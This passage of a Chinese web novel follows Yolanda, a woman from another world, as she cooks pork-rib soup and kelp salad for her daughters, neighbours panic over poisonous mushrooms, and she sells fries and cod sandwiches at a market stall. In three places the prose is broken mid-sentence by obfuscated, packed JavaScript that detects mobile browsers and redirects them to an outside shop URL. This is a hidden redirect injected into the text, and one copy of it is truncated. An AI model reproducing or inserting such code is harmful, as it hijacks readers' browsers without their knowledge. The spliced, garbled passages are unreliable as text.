尤兰达应声,擦擦手,顺便为她们带去一盏油灯。 “鸡腿菇和木耳一样,拍掉外面的土块枯叶,我采摘的时候简单处理过,你们只需要清洗一下。清洗的时候要注意,放进水里荡两下就赶紧拿出来,用干布吸掉上面水份,然后把它撕成条,如果你们喜欢用刀切成片也可以。” 菲奥娜听得眉头直皱,“好麻烦。” 谁说不是呢,摘蘑菇一时爽,洗蘑菇火葬场。 尤兰达帮着处理了大半鸡腿菇,厨房里,排骨汤的香气一阵浓过一阵,顺着夜风直往院子里飘。 菲奥娜手里动作不自觉放慢,深吸一口气,“这真的是猪肋骨能有的味道?” 西芙拉自己都不太确定:“我保证,我只买了猪肋骨。” 又没穷到吃不起饭,谁家正经人会买肋骨回去啃啊,肉少骨头多的,烤熟了有时连肉都扒不下来几口,不划算。 至少在她们的记忆里,只有仆人们偶尔啃两根解馋。 她们没吃过猪肋骨,猪肉可没少吃,煮的烤的炖的,猪颈肉猪胸肉猪脊背肉,但没有哪次比排骨汤惊艳。 太香了,闻不到一点猪肉的腥气,连想象的中辛香料的味道都没怎么闻见。 尤兰达见时间差不多,回厨房揭开锅盖加海带片,撒上盐和葱花调味,继续焖。 等凉拌菜入味,白面包切成厚片,这会,排骨汤也完成了最后一道工序,灭掉炉火端上餐桌。 两人欢呼一声,丢掉手里鸡腿菇,三步并做两步冲去桌边落座。 一坐下,两人立即被眼前的一碗绿夺走了目光。 红色的油浮在橄榄绿的表面,细长的绿丝盘绕,油亮亮,气味也很独特。 两人异口同声:“这是什么?” 土豆切成条、剁成块、削成片,好歹能认出来,眼前的绿长条,她们认不出半点,印象里压根没吃过类似的食物。 尤兰达笑容微妙:“先尝尝,吃完了告诉你们。” 两人对视一眼,几乎是同时举起叉子。 “嘶——它咬我舌头!” 菲奥娜想吐舍不得吐,这玩意闻起来没多少冲鼻子的劲儿,吃着倒有点芥末的味呢。 但……怪好吃的。 “酸的,是苹果醋吧?”西芙拉咯吱咯吱咀嚼着,试图分析出什么,可嚼来嚼去,陌生的口感让她越来越模糊。 尤兰达托着腮,慢悠悠说:“不用怀疑,你们从来没吃过,或者说,当成食物吃过。” 话落音的瞬间,西芙拉和菲奥娜的脸唰一下变了色,犹如海带一样绿。 绝望之际,尤兰达好心公布答案:“海带,听说过吗?海边渔民们常吃的食物,长在海里,是一种海草。” 两人齐齐呼出一口气,绷紧的脸蛋舒缓些许。 海草啊,是草就好。 她们真怕妈妈弄来什么奇奇怪怪的东西。 虽然海带本身已经够奇怪的了。 菲奥娜嘶嘶吸气,手掌做扇在嘴边扇风,不忘追问:“咬我的是什么?它让我感觉很不妙。” 尤兰达不好意思的挠头,这次是她夹带私货了,凉拌海带丝没有辣椒哪能好吃啊。 “那个啊,昨天做的辣椒记得吗?就是它。” 菲奥娜一片茫然,努力将嘴里的辣椒和昨天那堆红彤彤的东西划上等号。 西芙拉反应了一会,震惊:“等等,辣椒?那不是只有病人才吃的东西?” 菲奥娜愣了好一会,是啊,这是药不是菜。 家里常备辣椒,然而真正用到它的时候很少,经常挂着挂着变成了干瘪的皮。 冬天冻生病时,厨娘十分谨慎的摘一点点辣椒磨成粉,和蜂蜜一起兑成水灌进肚子。 谁没事会把这东西当香料吃? 西芙拉神情变幻,菲奥娜一脸“我怎么把药吃了”的复杂。 尤兰达挑眉:“好吃吗?” 起居室足足沉寂了四五秒。 被大人骗着吃药的两个小姑娘认真回味片刻,慎重给出评价:“……好吃。” 不太想承认,辣椒和海带丝的搭配,确实有亿点好吃。 尤兰达顿时笑眯眯,这俩孩子太有品了。 陶锅往两人面前送了送,“喏,玉米排骨汤,面包片沾着汤吃,绝对不会让你们失望。” 两人扒着桌沿伸出头去,红的萝卜、黄的玉米、绿的葱花,汤色清亮微金,油花细薄,软烂的排骨肉香沉厚,叉子一拨,骨肉轻易分离。 这种菜式,她们头一次见。 祷告结束,菲奥娜率先出击,勺子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296021|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精准捞起一块排骨,顾不上烫就往嘴里送。 舌尖刚触到肉,她眼睛倏地瞪大了,嚼了两下,整个人愣住。 “怎么了?”西芙拉不明所以。 菲奥娜没回答,又咬了一口,咽下去后,她低头看了看手里的排骨,又抬头看看汤锅,再看看尤兰达,满脸写着难以置信。 “这……是猪肉?” 菲奥娜怀疑自己的嘴巴和鼻子都出了问题。 排骨汤在锅里咕嘟咕嘟炖煮的时候,闻着就没个猪肉味,现在吃进嘴里,就更不像了。 西芙拉舀起一勺汤,小心翼翼地抿了一口,汤入口的瞬间,她睫毛颤了颤。 再抿一口,眼睛亮了。 清而不淡,浓而不油,肉香混着玉米的清甜,海带的鲜恰到好处,温热汤汁滑进喉咙,满口鲜香,从舌尖一路暖到胃里。 西芙拉瞬间理解菲奥娜为什么会发出如此傻气的疑问。 她也不禁生出相似的困惑,“猪肉……是这个味吗?” 她们不懂火候,不懂叫调料,不懂锅具的选择会带来什么变化。她们只吃出来一点,同样是猪肉,今天的食材和以前的,完全不一样。 如果锅里的是猪肉,她们以前吃过的猪算什么? 菲奥娜已经顾不上说话,她放弃叉子勺子,左手一根排骨,右手一块玉米,啃一口排骨,咬一口玉米,再吸溜一口汤,忙得不可开交。 啃到一半,忽然想起什么,抓起一块白面包往汤里蘸。 面包吸饱汤汁软塌塌的,她一口塞进嘴里,配一根辣舌头的海带丝,嚼着嚼着,眼眶微红,鼻子抽动两下。 真好吃啊。 西芙拉抽空嘲笑妹妹:“没出息,怎么还吃哭了?” 菲奥娜吸了吸鼻子,大声强调:“我没哭,是海带太辣了。我真心疼以前吃过的猪肉,它们死得不明不白。” 前半句她不做评价,后半句,西芙拉深有同感地点点头,又给自己舀了一碗汤。 菲奥娜双眼迷离:“它们一定是去了天堂的猪,普通的猪不会是这个味。” 尤兰达嘴角抽搐,强忍着没有开口。 猪有没有上天堂她不好说,不过她确实是从天堂来的。 西芙拉懒得理妹妹,面包撕成小块,仔细擦着碗底残余的汤汁。 两人埋头苦吃,只听见勺子碰碗沿的叮当声,和偶尔冒出的“嘶哈”。 尤兰达刚忙完,太累了反而没胃口,拄着脑袋看她们进食。 口口声声说不吃辣椒的女孩们,凉拌海带丝吃没停,斯哈斯哈活像养了两条蛇。 看她们对海带接受度良好,尤兰达心里有底了。 回头就找蚝郎订一批海带。 海带多好啊,便宜量多,晒干了当储备粮再合适不过。 尤兰达给自己盛了一晚汤,冷不丁开口:“小西,今天做了什么对不起妈妈的事?” 西芙拉手里的叉子明显顿了一下。 “没、没有啊。”她低头戳碗里的排骨,金色脑袋反射出一圈光晕:“我今天什么都没做。” 尤兰达定定地看着她。 西芙拉浑身发毛,干咳一声,干巴巴道:“哦对了妈妈,有一件事我忘记说,洗衣坊的女工上门收衣服,我把这几天的脏衣服全部送去了,多付了十个铜币。” 尤兰达没接话,她知道西芙拉不是计较十铜币的性子,明显在转移话题。 好在西芙拉表情不算太慌张,估摸不算什么大事,她迟早会知道的。 “砰砰砰——” “汪汪汪!汪汪——” 远处忽然传来嘈杂动静,狗吠中夹杂了拍门声,有人似乎呼喊着什么,听不真切,在寂静祥和的蓝调时刻里格外突兀。 尤兰达侧耳听了听,没听出外面到底发生了什么。 “费尔南多夫人?是我,小约翰。”院门忽然被人敲响。 西芙拉逃似的跑去开门,没一会,小约翰拎着桶跟在后面走进院子。 尤兰达好奇打听:“小约翰,外面出什么事了?” 小约翰乖巧站定,脸上一股新鲜劲:“夫人,外面好热闹,有几位夫人正在海螺巷和矮人巷到处敲门呢,喊可大声了。” 尤兰达吃瓜心切,快步来到院门处,探头往巷子方向望。 道上没个路灯,全靠各家各户窗户里透出的昏暗光线勉强照出轮廓,模糊间,能看出有几个奔跑的黢黑身影。 尤兰达看不出个所以然,兴致缺缺缩回脑袋,继续吃晚饭。 家里还有一堆菌菇等着处理呢。 此时的街巷深处,除了断断续续的喧嚣,各家的抱怨频频飘出。 粮铺: “今天怎么了?吵吵闹闹的……都上山跑一天了,不知道累吗?” “别说了,赶紧睡吧,明天把柴劈了晒干。” 肉铺: “上帝啊,外面是怎么了,恶龙飞进皇城了吗?” “别管恶龙了,快帮我算账。” 酒坊阁楼: “噢~又是谁家。刚刚飘过来的香味勾得我肚子咕咕叫,翻来覆去睡不着,好不容易把馋虫按下去,巷子里又闹起来了,这还让不让人睡了?”年轻学徒辗转反侧,怨气满满。 “别管了亨利,睡吧……我太累了。”同伴发出迷糊嘟囔。 然而追寻“热闹”的源头,事情远比大家以为的要紧迫。 艾米丽和玛莎跌跌撞撞地跑在石板路上,喘息声格外粗重。 她们在一户亮着烛光的院子前停下,提起拳头往门上砸,一下比一下狠。 27.第 27 章 “砰砰砰——!” “开门!莉亚快开门!” 砸门声不断,惊得左右邻居家鸡飞狗叫,直到慌乱脚步走到门后,“吱呀”一声门开。 莉亚探出半个脑袋,油灯照出来人后愣了愣:“艾米丽?玛莎?你们……” “蘑菇!”艾米丽一把抓住她手腕,声音又尖又急,语无伦次:“今天采的蘑菇,吃了没有?千万别吃!” 莉亚一下子联想起傍晚发生在林子里的事,脸色刷的惨白。 “不、不会吧……真的有毒?” 艾米丽快哭出来了,嘴皮子颤抖根本说不利索,拼命点头回应。 玛莎来不及细说,快速道:“晚点再说,苏珊、埃米、莉娜都不知道这件事。上帝保佑,希望她们还没吃。” 莉亚闻言,慌慌张张跑回院子,抱来今天刚采的菌菇一股脑丢进门前的溪水里。 “我和你们一起,我去找苏珊。” 她冲屋里喊了一声“我出去一下”,提起裙摆慌忙赶去最近的苏珊家。 艾米丽和玛莎赶往别家,跑着跑着脚步发软,好几次差点绊倒。 她已经跑了半条海螺巷,身上实在没多少力气,全凭一股劲强撑着不敢停,好在有莉亚和玛莎帮忙。 艾米丽扶着粗糙石墙,弯下腰大口大口呼吸。夜风又冷又涩,灌进喉咙里激得她眼眶一阵发酸,控制不住涌出泪花。她抬手去擦,却越擦越多。 吓死了,她快吓死了。 从山上下来,回家的路上,苏珊一直讲述有关费尔南多的传闻,得知她是被赶出家门的富商夫人,艾米丽挂在心头的不安全部消散。 任谁言之凿凿的提醒她采的菌菇有毒,艾米丽都很难完全不当回事。 哪怕当时有许多熟识的夫人帮腔,哪怕她自己采过许多蘑菇,费尔南多的提醒到底像刺一样扎进了心里。 直到听说费尔南多出身富贵家庭。 苏珊虽然对费尔南多有偏见,不过她说的话有几分道理。 一个富商夫人,从前怕是连蘑菇都没亲手摸过吧?凭什么断定她采的有毒? 艾米丽抹了一把脸,跟上同伴们的脚步,她要趁着天色尚早,尽快回家生火做饭。 丈夫带店里杂役去深山砍柴,通常不到天黑赶不回家,她得保证他们一进门就吃上食物,晚上早点休息才不会耽误第二天的生意。 晚饭照旧烤面包,搭配羊角芹小麦粥。她洗菜摘菜煮粥,忙到天色擦黑,晚饭做好的时候,丈夫终于和杂役们回来,还带回满满两车木柴。 艾米丽很高兴,这么多木柴,能为家里省去至少200铜币的买柴钱。 她帮着把木柴铺进院中晾晒,忙活了好一阵,忽然赶紧哪里不对劲。 太安静了,家里的狗竟然一声没吭。 小狗一岁大点,才从外面抱回来养,十分警觉,不管谁从院门进来都要汪汪叫上几声,没少被邻居找上门抱怨。 艾米丽心里隐隐不安,四处寻找一圈,最后在院角发现了它。 她松一口气,用脚推了推狗子,喊它起来吃饭。 然而连推十几下,大狗毫无反应不说,身体也没有了呼吸的起伏。 艾米丽意识到不对,心里一咯噔,抱起狗子进屋,借着烛光仔细一看,狗嘴里叼着半朵蘑菇。 牛肝菌,今天采的红色牛肝菌。 艾米丽浑身一软,抱着狗子瘫坐在地上。 死了。 狗被毒死了。 艾米丽如坠冰窟,丈夫的惊呼声、杂役们的脚步声,模模糊糊像隔了一层水。 等她回过神,双腿已经冲出院门,发疯一样往巷子里冲。 艾米丽慌极了,心里万分后悔。 费尔南多说的对,她该把蘑菇扔掉的。 - 尤兰达并不知晓,闹腾了大半个夜晚的动静,和她有着千丝万缕的联系。 凌晨时分的祷告钟声敲响,她已然累得魂不附体,捶着肩膀回房间休息。 第二日,她果不其然起迟了。 挪着酸疼的腿来到院中,尤兰达的疲累瞬间消失。 太多蘑菇了。 棚顶铺着一片黑木耳,阳光下泛着油亮的黑光。 地上筛子一字排开,满满当当晾着撕成条、切成片的鸡腿菇,白花花。 晒不到阳光的店铺、地窖、杂物棚下,榛蘑、鸡油菌成堆,全是她昨晚挑灯夜战的成果。 别看数量惊人,吃起来快得很,几顿小鸡炖蘑菇下去,估摸着就见底了。 尤兰达心痒痒,她还想上山捡蘑菇,漫山遍野的菌子,捡到就是赚到,不捡就是纯亏。 考虑现实情况,她不得不先按捺下来。、 街巷安排一个月进一次山没错,但那是针对砍柴打猎的,捡蘑菇挖野菜等,并不在规则之内。 也就是说,只要她想,今天可以去,明天可以去,随便哪天都能去,真正困扰她的问题在于人手不够。 尤兰达深吸一口气,先赚钱吧。 等三明治推出去,利润上来,雇得起杂役,她想去几趟去几趟。 星期一任务繁重,她活动一会筋骨,一头扎进备菜工作中。 切土豆不难,尤兰达演示过后,交由西芙拉和菲奥娜负责。 两人动作生疏笨拙,慢归慢,好歹足够细致。 尤兰达盯了一会,忙着去熬番茄酱,顺便把塞进空间过夜的野韭菜拿出来,两边同时开干,做泡菜鹿耳韭。 腌制野韭菜不难,最麻烦的步骤在于清洗。采的时候这个不错那个想要,洗的时候可要了她老命。 为了省事,她提前一晚带进空间处理过,有趁手的工具,到底比在院子里打井水快。 这一筐野韭菜着实不少,尤兰达分成两份,一份做泡菜鹿耳韭,一份做糖醋腌山葱叶,两份刚好能装满两个膝盖高的大坛子。 糖醋腌山葱叶简单,她一手忙着煮番茄酱,一手熬煮糖醋料汁,游刃有余。 搁在前世,她喜欢用青梅汁当基底,眼下条件有限,退而求其次选择葡萄汁。 当地人腌菜大多选葡萄汁,她也随一次大流,再搭配同源的葡萄醋,正好保证口味一致。 有了酸甜的底子,再准备一盆凉白开,加半罐蜂蜜、一点点盐,小火煮开便成。 尤兰达尝一口料汁,幸福得直冒泡,脑子里已经安排好几天后吃什么肉,恨不得跳过这几天。 菜叶子一叠叠平铺进广口坛子,码放整齐,煮开的料汁直接倒,漫过叶子一两寸,压上一块洗干净的石板。 最后一步密封,她用了相对省事的办法。 坛口包上几层厚麻布扎紧,沿着外圈涂一层融化的羊脂蜡,趁着蜡没干透,赶紧倒扣配套的浅陶盘,等上几天就能开坛。 做好腌山葱叶,番茄酱才熬到一半,她继续准备泡菜酱。 泡菜鹿耳韭相对繁琐些,繁琐之处在于调泡菜酱。 苹果梨子洋葱要切碎,加上葱姜蒜一起捣成泥浆,纯手工着实有点费工夫,好在难度不大。 糯米粉她手里没有,用小麦粉代替效果差不太多,起到发酵、粘稠的作用即可。 当然,比起糯米粉稍微差了点,调酱过程中需少加点粉,才能达到糯米粉做出来的浓稠度。 小麦粉冷水下锅搅开,小火慢熬至稍微有点挂勺的状态最佳,趁热倒入果蔬泥、辣椒面搅拌,最后加盐、麦芽糖调味。 家里辣椒面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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除去老得咬不动的,一共有十三根,剥掉叶子去掉口感不好的根部,可食用的脆嫩部分加起来只剩下十多斤。 尤兰达不嫌少,全切成段抹上粗盐杀水,挤干水分后丢进锅里,和泡菜酱亲密接触,然后捞出装坛。 削下来莴苣根茎、皮、老叶子,则便宜了兔子和大G。 嫩莴苣叶不多不少,扔了可惜,吃吧一顿吃不完,尤兰达犹豫一会,到底没舍得浪费,擦着锅底残留的酱汁,一起扔进坛子里泡。 前有辣酱后有泡菜,等它们开坛,家里的面包可要遭殃了。 尤兰达一想到地窖厨房的坛坛罐罐,过不了两天,又要多几口装着干货的瓶子,当即回屋拿来羽毛笔,沾着墨水在陶器的表层写下腌制日期和名称。 “妈,番茄酱冒泡啦。”西芙拉大喊提醒。 尤兰达收好笔墨,匆匆赶回厨房,最后一锅番茄酱倒进罐子里,总算可以进入下一步流程。 铁锅倒油加热,接下来是准备薯条的初炸。 这一步骤,照样不需要尤兰达亲自动手,她只需眼睛多注意点,快到火候了支使西芙拉捞薯条。 尤兰达忙着切鳕鱼,腌制完鳕鱼,薯条完成初炸,热油无缝衔接炸鳕鱼排。 妈妈和姐姐忙得脚不沾地,菲奥娜也不能闲着,帮忙炒好燕麦捣成碎,又被妈妈使唤出门买白面包和葡萄叶。 批量组装的时候,尤兰达多煎了几片火腿,加进三明治里留着自家人当午饭吃。 没办法,这一早上兵荒马乱跟打仗似的,来不及单独做一顿饭。 等进入九月,冬季囤菜正式提上日程,一切杂事都要挤在备菜摆摊的间隙里进行,只会更忙。 尤兰达盘算着以后,惦记起给自己减减负。 要不……把方便面提上日程? 28.第 28 章 念头一冒出来,尤兰达立刻判断出百分百的可行性。 做方便面听着难,实际相当简单,科技含量极低。 早在汉代时期,老祖宗就琢磨出来了,因耐放易携带,那时候拿它当军粮吃。 早饭午饭来不及做,抓一把面条扔进开水锅里煮两分钟就行。 想吃荤的,加肉汤;想吃素的,加菜码;想省事,调个料汁撒点盐和葱花也能对付一顿,比啃干巴面包强。 前世尤兰达一个人宅家的时候爱偷懒,没少琢磨怎么吃面条。 她越想越觉得靠谱,盘算了一下手头的东西,发现随时可以动手。 尤兰达打算做两种:一种油炸的,一种非油炸的。 油炸的简单,现代方便面的做法,古代有类似的产物,如馓子、伊府面。 面条煮熟,过凉水,沥干,扔进油锅里炸到金黄酥脆。做出来的面饼泡开快,口感好,缺点是费油。 非油炸的过程差不太多,优点是成本更低更耐放,制作过程相对来说简单,但晾晒步骤更耗费时间。 当然,下锅煮的时候也比油炸方便面需多煮几分钟,和挂面差不多。 面团擀成薄薄一大张,切成长条挂在杆子上阴干,叫面条。长条多做一步切成菱形片状,摊在筛子里晒,叫做面片。 无论面条还是面片,彻底干透后收起来,能放一年半载不坏。 关键是,能批量生产。 抽空揉一盆面,擀出来挂一院子,晒干了收起来够吃小半个月。 方便面自己吃省事,卖出去做成生意,那可是一整片蓝海。 一走就是一年半载的商队、船队,每年走上数月前去朝圣的信徒,永远在路上的游侠骑士……常年在外、居无定所的人,哪个能拒绝辛苦旅途中享用一顿热乎乎的面条? 和现在流行的干粮比起来,方便面的优势太明显了。 意面要煮半天,干面包硬得硌牙,而她的方便面,开水一泡就行。味道更好,操作更简单,口味还能换着花样来。 再细分一下,粗麦粉、燕麦粉、白面粉做成三种档次,对应不同阶级,不愁没人买。 这生意有搞头! 尤兰达想着想着,心头火热,嘴角翘了起来。 事不宜迟,今天收摊就采购麦粉,开干! 尤兰达找到新的赚钱路子,手下的动作都轻快了几分。 她去柴棚检查新制作的蜂窝煤,弯腰捡起几团准备放上推车。 转身的瞬间,余光瞄见墙角秸秆堆,枯黄杂乱的杆子叶子下,露出几片暗色的东西。 尤兰达上前拨开秸秆,捡出碎片一拼,刚好拼出一口沾了油脂的陶锅。 她恍然,这就是西芙拉的秘密? 这么想着,尤兰达直接喊来了西芙拉。 西芙拉听到声音从柴棚传来,心里忐忑。等她磨磨蹭蹭来到柴棚前,一眼瞧见她极力掩藏的碎陶锅大喇喇摆在地上,脸颊倏然涨红。 “天呐,妈妈你是怎么发现的?”她捂住脸,声音都变了调,“我明明藏得很严实了……” 尤兰达好整以暇地看她:“说说看,你都做什么了。” 西芙拉放下手,脸上红一阵白一阵,支支吾吾开口:“我……尝试了一下做三明治。” 她偷瞄尤兰达一眼,见妈妈没有发火的迹象,胆子大了一点: “我差点就成功了,谁知道锅突然炸开。我真的会做三明治,我向上帝发誓,是锅的问题!” 最后半句,她格外认真地强调。 尤兰达张了张嘴,那句“没关系,一口锅而已”硬生生噎了回去。 合着两人计较的根本不是同一件事。 西芙拉压根不觉得弄坏一口锅算什么大问题。 她早就想好了,趁妈妈不在家的时候偷偷找陶匠补上,就当这件丢人的事从来没发生过。 她真正耿耿于怀的,是三明治的失败,西芙拉可是信誓旦旦说过自己学会了的。 尤兰达就多余安慰她,西芙拉完全不需要。 她摆摆手,三明治失败的话题到此为止。 摆摊物品全部堆上车板,尤兰达回房间换粗麻布衣裳,西芙拉和菲奥娜不知道怎么了,蹑手蹑脚跟进跟出,眨巴眼睛瞅着她。 “又怎么了?”尤兰达被跟烦了,系着围裙问。 西芙拉小声说:“妈妈,你说过今天摆摊不需要我们的,对吗?” 菲奥娜补充:“我作证,妈妈你的确答应过。” 尤兰达想了想,是有这么回事。 她似笑非笑瞅两个孩子,转身去起居室的斗柜,拎出一袋子铜币抛给两人。 “喏,分着花吧。” 钱袋子抛出去,姐妹俩欢呼一声接过,伸着脑袋数钱,两人嘀嘀咕咕,盘算自己的小金库够买什么样的蝴蝶结。 尤兰达又抛去一个钱袋子,“回来的时候帮妈妈买点猪肉和韭葱,多买点葡萄叶和鸡蛋。对了,葡萄醋葡萄汁也多买几罐。” 两个孩子都不到18岁,但在黑森王国已经算成年人行列,该为婚育做准备的阶段,平时没少跟老师、家长系统学习管家采购等事项。帮忙跑腿买菜,她们完全做得到。 尤兰达一堆事要忙,家庭采购和一些杂事,她尝试着放权(甩锅)给她们负责。 到点了,她推着满载的板车出门,今天只有她一个人出摊。 路过巷子口的橡树,树下依旧聚了不少人,有男有女, 车轱辘吱呀吱呀,闲聊的邻居们立时止了声,不约而同看向尤兰达。 他们的眼神……尤兰达抖了抖,只觉莫名其妙。 她做了什么吗? 尤兰达不记得哪里又招惹了她们,正要移开视线,惊异发现,竟然有几个眼熟的夫人朝她露出微笑。 虽然只是嘴角上扬了一个像素点,笑容也生硬复杂,但,确实是笑了的。 不是阴阳怪气的皮笑肉不笑,他们的眼神和神态都带出点别扭的友善,配合微妙的气氛,怪怪的。 尤兰达更加莫名其妙了。 她挠挠头,收回目光,推车离开。 身影走远,橡树下爆发了热烈的议论,“费尔南多”几个字频繁提起。 尤兰达听不到身后的议论,推着板车去工匠街小广场,交今天的摊位费。 领到铅牌,她熟门熟路往工匠街拐。 这次她不打算在街口摆摊,之前和年轻工匠约好星期一交三明治,为了客人方便找到她,尤兰达决定回到原地。 上午腌菜备菜忙不停歇,出摊比前几日稍晚,她不强求一定要原来的位置,只要距离不远就行。 她急急忙忙往街道深处走,走出去几十米,尤兰达发现,本该摆满小摊的绝佳位置,现在稀稀拉拉支起来两三成。 好些摊主就站在自家板车旁边,既不卸货也不支棚,东张西望四处打量,似乎等待着什么。 尤兰达纳闷了,街口的好位置都没人抢吗? 她没多想,推车往上次摆摊的位置走,车轮碾过石板咕噜咕噜响。 走了没几步,身后跟着冒出一连串的咕噜咕噜,尤兰达一回头,有几个街边张望的摊主动了,慢悠悠跟在她后头,排队一样。 尤兰达脚步顿了顿,继续往前走。 又回头瞥一眼,这回跟上来的人更多了。 她走到上次那个位置,刚停下车—— “唰”的一下,左右两边空着的摊位瞬间被人占满。 晚了一步的摊主们遗憾摇摇头,却也没走远,以她为中心,向两边扩散开去,一个挨一个地支起摊来。 尤兰达:“……” 身边的邻居一边卸货一边扭头冲她笑,露出一口白牙: “嘿,薯条夫人,今天运气不错,能挨着你摆摊!” 尤兰达恍然,合着这帮人在等她呢。 她不由失笑,摇了摇头,弯腰开始收拾。 锅支起来,炉子生上火,酱罐摆齐整,营业! 油锅一热,薯条一捧一捧下锅,滋啦声炸开后,摊子前立即长满了人。 “薯条夫人,我昨天等了你一下午。请给我两份。” “嗨,薯条夫人,你今天来迟了,我要三份薯条,弥补昨天没吃上的遗憾。” “给我两份薯条。真高兴见到你,薯条夫人,希望昨天的情况不会再发生了。” “薯条夫人,你怎么才来啊~” 等等,最后的泣音是怎么回事? 尤兰达抬眼望去,对上新老顾客们一副看渣女的质问、幽怨、谴责目光,头皮发麻。 她只有一天没出摊啊! “昨天是星期天,我以为你们不会来工匠街。”尤兰达没来由的心虚。 星期天,黑森王国的公共休息日。 所谓的休息日实际为“主日(Sunday)”,大多数信徒会在这天抛下一切事物,前去教堂礼拜。 城中立法,礼拜期间禁止“锤击、漂洗、织造”,所有产生噪音的商业行为都应避让或暂缓,渐渐演变为大家所说的公共休息日。 流动摊贩、面包坊、饭馆、酒馆、旅馆等属于例外,不惊动教堂的前提下,一般默许正常营业。 工匠街不说百分百,至少百分之八十的商铺,属于礼拜期间禁止营业的行业。 商铺不营业,工匠不工作,没了客流,尤兰达自然没必要来出摊,因此她一点也不心痛的选择去山上采山货。 “星期天只是不能上工,我们愿意为了薯条来工匠街一趟。” “薯条夫人,我们很多人就住在工匠街,或者不远的街道,你完全不用担心。” “老实说,昨天的我很希望做完礼拜能够吃上一口薯条。” 尤兰达嘴角抽搐。 上辈子自由职业,随心所欲惯了,穿越后反遭中世纪毒打,被迫过起上六休一的日子。 这才一天没摆摊,顾客们已经不满,她还惦记着手头宽裕了改成双休呢。 心里腹诽不止,尤兰达面上保持微笑,接过一份钱给出一份薯条。 这几天摸习惯了黑森的铜币,放在手心里一掂,大致能靠重量和厚度分辨出数量,因此收钱数钱就不再是难事,手脚麻利点,一个人摆摊倒也算顺畅。 “嘿,薯条夫人,我来取我的三明治了。”年轻的呼喊从人群外传来,带着压不住的兴奋。 尤兰达多瞧两眼,是他,那个年轻工匠,颔首微笑打招呼。 阿尔杰拼命挤进来,来回扫车板上的东西,期待他的三明治。 随后跟着他进来的同伴仍旧将信将疑。 “我不会忘记的,鳕鱼三明治一份,对吗?”尤兰达揭开一旁罩着的长方形麻布,取出一块三明治。 她十分注意餐饮卫生,手指只接触三明治包了葡萄叶的部分,递给阿尔杰。 而此时,排队买薯条的客人们看到满满一盘的三角形食物,齐刷刷发出“哇”声。 麻布下,是一只长方形的浅口陶盘。 盘子里,三角形的食物整整齐齐码放紧实,每一块都垫着一片翠绿的葡萄叶。 白面包片夹着翠绿、金黄、鲜红、嫩黄,丰富色彩层层叠叠,从切口处露出来。 满满一盘,挤挤挨挨,光是摆在那里,就好看得不像话。 阿尔杰愣在原地,眼睛都直了,久久没有接走属于他的三明治。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316182|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “上帝啊,那是什么?” “太好看了吧……” “夫人,那个卖吗?” “我要一份!现在就给我一份!” 尤兰达还没来得及说话,已经有手伸过来,手里攥着一把铜币,哗啦啦往她面前递。 不管什么地方,多得是人愿意为外貌买单。 尤兰达迅速反应,大声喊:“感谢大家的支持,这是我自己研究的三明治,第一天售卖只准备了30份,一份仅收25铜币。” 喊话结束,着急忙慌要买三明治的人冷静些许,数钱递钱的速度也慢下来了。 提前拿到三明治的阿尔杰神气仰扬头。 他可是第一个吃到三明治的人,而且只花了20铜币。 尤兰达知道大家的顾虑,举起一块三明治介绍食材。 “三明治一共用了三片白面包,两片卷心菜叶两片番茄,除此之外还有一个煎蛋一块鳕鱼排……” “鳕鱼?哪里有鳕鱼?” “薯条夫人,鳕鱼排是什么?” 有人鸡贼的盯着阿尔杰,看他有没有吃到什么鳕鱼排。 阿尔杰盯着众人目光,大口咬下,细细咀嚼。 “没错,有煎蛋的味道,我能吃出来,卷心菜叶一点不苦!鳕鱼……?等等,这个脆脆的软软的不会是鳕鱼吧?” 围观的食客都懵了,鳕鱼什么时候脆脆的了?怎么脆脆的还能软软的? “年轻人,你会不会吃啊?”有人着急。 “让我咬一口吧,我保证能吃出来。”有人调侃。 阿尔杰脸通红,“我当然知道鳕鱼的味道。” 他盯着手里的三明治,试图用眼睛和嘴巴一起分辨食材。 怎么说呢,三明治里的鳕鱼一点也不鳕鱼,先不提口感,它竟然没有鳕鱼的腥味。 想解决鱼腥味,大家常用方法是添加许多香草大料,所以很多肉食海鲜的香料味尤为浓重。 鳕鱼排如果真的是鳕鱼做成的,这一点就很让人想不通了。怎么会有鳕鱼既没有腥味,又没有浓重的香料味,同时吃进嘴里还格外的咸鲜。 他咀嚼一口又一口,情不自禁喃喃:“是鳕鱼的感觉,但是……amazing!” 嚼着嚼着,三明治下去大半,阿尔杰依然不明白鳕鱼为什么会是这个味道。 他的同伴急得上蹿下跳,“别amazing了,你就说好吃不好吃。” 围观食客纷纷应声,“对,别管那些了,三明治好吃吗?25铜币有点贵了。” 有人小声插话,“可是有三片白面包。” 阿尔杰吞下最后一口,十分笃定,“好吃。” 话落音,等待反馈的其他食客心动不已,琢磨着要不要买一份尝尝。 尤兰达适时开口:“你们没看错,面包片里那块金黄色的就是鳕鱼排。原谅我不能说出具体做法,不过它和薯条一样,需要吃足了油脂。” 意思很明白了,食材成本昂贵,25铜币买不了吃亏买不了上当。 大家都是附近工作生活的匠人或者学徒工,薪水不说特别多,负担25铜币一份的三明治绝对没问题。 